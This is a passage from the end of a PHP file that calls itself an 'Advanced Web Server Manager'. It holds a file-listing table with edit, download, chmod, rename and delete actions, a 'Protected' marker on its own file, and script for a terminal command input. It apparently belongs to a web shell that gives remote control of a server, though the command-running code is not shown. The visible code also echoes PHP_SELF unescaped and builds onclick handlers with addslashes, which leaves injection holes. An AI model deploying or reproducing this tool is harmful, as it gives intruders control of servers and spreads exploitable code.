                                <td class="file-modified"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                <td>
                                    <div class="actions">
                                        <form method="post" style="display: inline;">
                                            <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                            <input type="text" name="new" placeholder="New name" style="width: 120px; font-size: 12px;" required>
                                            <button type="submit" style="font-size: 11px;">Rename</button>
                                        </form>
                                        
                                        <form method="post" style="display: inline;">
                                            <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                            <button type="submit" class="btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')" style="font-size: 11px;">
                                                Delete
                                            </button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                            
                            <?php foreach ($files as $item): ?>
                            <tr class="file-row" id="row-<?= htmlspecialchars($item['name']) ?>">
                                <td class="checkbox-cell">
                                    <input type="checkbox" name="selected_items[]" value="<?= htmlspecialchars($item['name']) ?>" 
                                           class="item-checkbox" onchange="toggleRowSelection(this)">
                                </td>
                                <td>
                                    <?php
                                    $icon = '📄';
                                    $ext = strtolower($item['extension']);
                                    $icons = [
                                        'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
                                        'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
                                        'sql' => '🗃️', 'json' => '📋', 'xml' => '📄', 'sh' => '⚡', 'py' => '🐍'
                                    ];
                                    if (isset($icons[$ext])) $icon = $icons[$ext];
                                    ?>
                                    <span class="file-icon"><?= $icon ?></span>
                                    <a href="<?= $_SERVER['PHP_SELF'] ?>?edit=<?= urlencode($item['name']) ?>&dir=<?= urlencode(getEncodedDir($current_dir)) ?>">
                                        <?= htmlspecialchars($item['name']) ?>
                                    </a>
                                    <?php if (realpath($item['path']) === realpath(__FILE__)): ?>
                                    <span style="color: #d63638; font-size: 11px; margin-left: 8px; background: #f5f5f5; padding: 2px 6px; border-radius: 2px; border: 1px solid #ddd;">🔒 Protected</span>
                                    <?php endif; ?>
                                </td>
                                <td class="file-size"><?= formatBytes($item['size']) ?></td>
                                <td>
                                    <form method="post" class="form-inline" style="margin: 0;">
                                        <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; text-align: center; font-family: 'Consolas', monospace; font-size: 12px;">
                                        <button type="submit" style="padding: 6px 10px; font-size: 11px;">Set</button>
                                    </form>
                                </td>
                                <td class="file-modified"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                <td>
                                    <div class="actions">
                                        <a href="<?= $_SERVER['PHP_SELF'] ?>?edit=<?= urlencode($item['name']) ?>&dir=<?= urlencode(getEncodedDir($current_dir)) ?>">
                                            <button style="font-size: 11px;">✏️ Edit</button>
                                        </a>
                                        
                                        <a href="<?= $_SERVER['PHP_SELF'] ?>?action=download&file=<?= urlencode($item['name']) ?>&dir=<?= urlencode(getEncodedDir($current_dir)) ?>">
                                            <button style="font-size: 11px; background: #46b450; border-color: #46b450;">⬇️ Download</button>
                                        </a>
                                        
                                        <form method="post" style="display: inline;">
                                            <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                            <input type="text" name="new" placeholder="New name" style="width: 120px; font-size: 12px;" required>
                                            <button type="submit" style="font-size: 11px;">Rename</button>
                                        </form>
                                        
                                        <form method="post" style="display: inline;">
                                            <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                            <button type="submit" class="btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')" style="font-size: 11px;">
                                                Delete
                                            </button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                    </form>
                </div>
            <?php endif; ?>
        </div>

        <div class="footer">
            <p><strong>🚀 Advanced Web Server Manager</strong></p>
            <p style="margin-top: 8px; font-size: 11px; color: #a0a5aa;">
                Standalone Version | By Sid Gifari | Gifari Industries
            </p>
            <p style="margin-top: 4px; font-size: 10px; color: #ccc;">
                PHP <?= phpversion() ?> | <?= $_SERVER['SERVER_SOFTWARE'] ?? 'Web Server' ?>
            </p>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const terminalInput = document.querySelector('[name="terminal-text"]');
            if (terminalInput) {
                terminalInput.focus();
                const lastCmd = localStorage.getItem('last_command');
                if (lastCmd) {
                    terminalInput.value = lastCmd;
                }
            }
            
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                if (form.querySelector('[name="terminal-text"]')) {
                    form.addEventListener('submit', function() {
                        const cmd = this.querySelector('[name="terminal-text"]').value;
                        localStorage.setItem('last_command', cmd);
                    });
                }
            });
            
            const textarea = document.querySelector('textarea');
            if (textarea) {
                textarea.style.height = 'auto';
                textarea.style.height = (textarea.scrollHeight) + 'px';
                
                textarea.addEventListener('input', function() {
                    this.style.height = 'auto';
                    this.style.height = (this.scrollHeight) + 'px';
                });
            }
        });
        
        function toggleRowSelection(checkbox) {
            const row = checkbox.closest('tr');
            if (checkbox.checked) {
                row.classList.add('selected');
            } else {
                row.classList.remove('selected');
            }
            updateSelectAllCheckbox();
        }
        
        function toggleAllItems(checkbox) {
            const checkboxes = document.querySelectorAll('.item-checkbox');
            const rows = document.querySelectorAll('tbody tr');
            
            checkboxes.forEach(cb => {
                cb.checked = checkbox.checked;
            });
            
            rows.forEach(row => {
                if (checkbox.checked) {
                    row.classList.add('selected');
                } else {
                    row.classList.remove('selected');
                }
            });
        }
        
        function selectAllItems() {
            const checkboxes = document.querySelectorAll('.item-checkbox');
            const rows = document.querySelectorAll('tbody tr');
            const selectAll = document.getElementById('select-all');
            
            checkboxes.forEach(cb => {
                cb.checked = true;
            });
            
            rows.forEach(row => {
                row.classList.add('selected');
            });
            
            selectAll.checked = true;
        }
        
        function deselectAllItems() {
            const checkboxes = document.querySelectorAll('.item-checkbox');
            const rows = document.querySelectorAll('tbody tr');
            const selectAll = document.getElementById('select-all');
            
            checkboxes.forEach(cb => {
                cb.checked = false;
            });
            
            rows.forEach(row => {
                row.classList.remove('selected');
            });
            
            selectAll.checked = false;
        }
        
        function updateSelectAllCheckbox() {
            const checkboxes = document.querySelectorAll('.item-checkbox');
            const selectAll = document.getElementById('select-all');
            const checkedCount = Array.from(checkboxes).filter(cb => cb.checked).length;
            
            if (checkedCount === 0) {
                selectAll.checked = false;
                selectAll.indeterminate = false;
            } else if (checkedCount === checkboxes.length) {
                selectAll.checked = true;
                selectAll.indeterminate = false;
            } else {
                selectAll.checked = false;
                selectAll.indeterminate = true;
            }
        }
    </script>
</body>
</html>